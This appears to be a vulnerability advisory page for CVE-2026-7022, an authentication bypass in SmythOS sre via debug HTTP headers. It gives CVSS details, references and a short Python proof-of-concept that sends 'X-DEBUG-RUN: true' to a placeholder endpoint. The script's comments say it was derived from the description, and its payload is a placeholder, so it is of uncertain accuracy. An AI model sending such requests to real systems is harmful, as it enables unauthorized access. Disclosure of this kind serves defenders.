CVE-2026-7022

Description

A security vulnerability has been detected in SmythOS sre up to 0.0.15. Affected is the function AgentRuntime of the file packages/core/src/subsystems/AgentManager/AgentRuntime.class.ts of the component HTTP Header Handler. Such manipulation of the argument X-DEBUG-RUN/X-DEBUG-INJ leads to improper authentication. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

SmythOS sre <= 0.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual vulnerable endpoint)
target_url = "http://target-ip:port/api/agent-runtime"

# Malicious headers to bypass authentication based on vulnerability description
headers = {
    "User-Agent": "Mozilla/5.0",
    "X-DEBUG-RUN": "true",   # Trigger debug run mode to bypass auth
    "X-DEBUG-INJ": "payload" # Inject payload or manipulate arguments
}

try:
    # Send the request with malicious headers
    response = requests.post(target_url, headers=headers)

    # Check if authentication was bypassed (HTTP 200 usually indicates success)
    if response.status_code == 200:
        print("[+] Exploit successful! Authentication bypassed.")
        print("[+] Response:", response.text)
    else:
        print("[-] Exploit failed or patch applied.")
        print("[-] Status Code:", response.status_code)
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7022
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7022
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7022/
[4] VulDB https://vuldb.com/cve/CVE-2026-7022
[5] https://gist.github.com/YLChen-007/c6a4a6a5f4c8b9e758f72c07ca0cd30d
[6] https://vuldb.com/submit/797643
[7] https://vuldb.com/vuln/359601
[8] https://vuldb.com/vuln/359601/cti

Raw JSON Data

JSON

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